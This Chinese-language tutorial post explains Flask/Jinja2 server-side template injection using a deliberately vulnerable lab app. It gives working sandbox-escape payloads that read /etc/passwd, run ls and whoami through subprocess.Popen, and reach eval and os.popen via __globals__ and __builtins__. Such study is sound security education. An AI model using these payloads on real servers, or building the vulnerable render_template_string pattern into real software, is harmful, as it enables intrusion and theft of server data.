從模板開始介紹:
Flask中有許多不同功能的模板,他們之間是相互隔離的地帶,可供引入和使用。
Flask中的模塊:
flask
?主模塊:包含框架的核心類和函數,如?Flask
(應用實例)、request
(請求對象)、response
(響應對象)、render_template
(模板渲染)等。(很多函數其實屬于下面各自的模塊,但是會被 “導入” 到 Flask 主模塊(flask
)中,方便開發者直接從?flask
?導入使用。)flask.config
:處理應用配置(如密鑰、數據庫連接信息等)。flask.context
:管理請求上下文(request
、g
)和應用上下文(current_app
、config
)。flask.helpers
:提供輔助函數,如?url_for
(生成 URL)、flash
(消息閃現)等。flask.blueprints
:支持藍圖(Blueprint),用于拆分大型應用為模塊化組件。flask.templating
:模板渲染相關功能,依賴 Jinja2 模板引擎。flask.wrappers
:定義請求(Request
)和響應(Response
)的封裝類。
比如說我本地搭建的一個簡單靶場:
from flask import Flask
from flask import request
from flask import render_template_stringapp = Flask(__name__)@app.route('/test', methods=['GET', 'POST'])
def test():template = '''<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div> ''' % (request.url)return render_template_string(template)if __name__ == '__main__':app.debug = Trueapp.run()
就從flask中引入request、render_template_string函數。他們分別定義在什么模塊以及有什么作用可以自行分析一下。
該靶場的漏洞在于render_template_string,將一個用戶可控字符串當作模板內容渲染,就像是往eval()函數中放入用戶可控參數一樣。
但是要想利用這個漏洞,沒有命令注入那么方便,因為Jinja2 模板引擎的安全隔離機制讓我們無法直接引用python內置函數和其他模塊中定義的函數。
在 Flask 中,Jinja2 模板默認可以訪問一些框架預定義的全局變量,例如:
{{ config }}
:Flask 應用的配置信息(如密鑰、端口等)。{{ request }}
:當前請求對象(包含 URL、參數、請求方法等)。{{ g }}
:Flask 的全局臨時變量(用于請求生命周期內共享數據)。{{ session }}
:當前會話對象(存儲用戶會話數據)。其實在Jinja2模板中還應該有一些默認導入的python內置函數例如globals()、locals()、vars()等等但是為了安全性不暴露。
所以,我們需要講到沙箱逃逸。
通俗來說就是我們現在需要在jinja2模板引擎的安全隔離機制下調用其他模塊的方法甚至是Python內置函數,以此達到各種滲透目的。
先說說怎么調用其他模塊的方法吧。
{{''.__class__.__mro__[1].__subclasses__()}}
''
空字符串,是 Python 中?str
(字符串)類型的一個實例。
.__class__
Python 中所有對象都有?__class__
?屬性,用于獲取該對象所屬的類。
這里?''.__class__
?會返回字符串的類?str
(即?<class 'str'>
)。
.__mro__[1]
__mro__
?是類的屬性,全稱 “Method Resolution Order”(方法解析順序),返回一個元組,包含類的繼承鏈(從當前類到最頂層父類)。- 對于?
str
?類,其繼承鏈是?(str, object)
(str
?繼承自?object
,object
?是 Python 中所有類的基類)。__mro__[1]
?取元組的第二個元素(索引從 0 開始),即?object
?類。
.__subclasses__()
object
?類的?__subclasses__()
?方法會返回所有直接或間接繼承自?object
?的子類列表(幾乎包含 Python 中所有的類,因為所有類最終都繼承自?object
)。也可以用{{''.__class__.__bases__[0].__subclasses__()}}代替,base僅返回上一級父類。
通過?
object.__subclasses__()
?獲取的子類列表是全局的,涵蓋 Python 內置類、已導入的第三方庫類、當前項目中定義的類等所有已加載的?object
?子類
這個估計幾乎每個講沙箱逃逸都會講一遍原理,所以不過多贅述。通過這個方法呢,我們就可以調用全局的已有類中的方法。舉幾個例子:
1.?文件讀寫類:
file
?或?io.FileIO
- 作用:讀取 / 寫入服務器文件(如敏感配置文件、密碼文件等)。
- 示例:
????????假設?
file
?類在子類列表中的索引為?40
(不同環境索引可能不同):????????# 讀取 /etc/passwd 文件
????????{{''.__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
????????若目標是 Windows 服務器,可讀取?
C:\Windows\system32\drivers\etc\hosts
?等2.?命令執行類:
subprocess.Popen
- 作用:執行系統命令(如?
ls
、whoami
、ipconfig
?等)。- 示例:
????????假設?
subprocess.Popen
?在子類列表中的索引為?258
:????????# 執行 ls 命令(Linux)并返回結果
{{''.__class__.__bases__[0].__subclasses__()[258]('ls', shell=True, ????????stdout=-1).communicate()[0].decode()}}????????# 執行 whoami 命令(查看當前用戶權限)
{{''.__class__.__bases__[0].__subclasses__()[258]('whoami', shell=True, ????????stdout=-1).communicate()[0].decode()}}????????Windows 系統可替換為?
dir
、ipconfig
?等命令。
但是很多時候沒有可利用的類,就需要進一步逃逸調用python內置函數。
就需要用到globals:
__globals__
?是 Python 函數的內置屬性
在 Python 中,每個函數對象都有?__globals__
?屬性,它返回該函數定義所在模塊的全局變量字典。這個字典包含了模塊中定義的所有變量、函數、類、導入的模塊等。
這樣的話我們就能利用某些jinja2模板中可以調用的”安全函數“,得到全局變量字典。可是得到全局變量字典,也只是得到本身模塊中的東西呀,如果還是無法利用呢,怎么得到python內置函數呢?
這就需要用到builtins:
builtins
?模塊:
這是 Python 解釋器內置的核心模塊,包含了所有 Python 內置函數(如?len
、eval
)、內置類型(如?int
、str
、list
)和異常類(如?Exception
、TypeError
)。我們在 Python 中直接使用的?print()
、str()
?等,本質上都是?builtins
?模塊中的成員
那得到這個模塊我們就能得到內置函數啦。怎么得到呢?
__globals__
?得到的字典中有一個關鍵的東西——導入的模塊,我們知道不管是哪個模塊,那都屬于是python,所以python內置函數就像是基礎設施,幾乎不管哪個模塊,都得利用內置函數實現其功能。因此幾乎所有模塊__globals__屬性返回的字典中都有builtins模塊。
那就出現了類似
url_for.__globals__
['__builtins__']['eval']("__import__('os').popen('ls').read()")
這樣的答案。
這里的url_for就是上面說到的可利用的”安全函數“,那萬一沒有呢?
我們就需要結合 ''.__class__.__mro__[1].__subclasses__() 方法啦:
有些類例如warnings.catch_warnings中一定有一個方法,那就是__init__,用來初始化對象。
而__init__也算是函數對象,那不就有__global__屬性了!
因此,就出現了類似
''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__
['__builtins__']['eval']("__import__('os').popen('ls').read()")
這樣的答案。
寫這篇文章主要為了梳理一遍Flask模板注入的原理,一定有一些理解錯誤或者不充分的地方。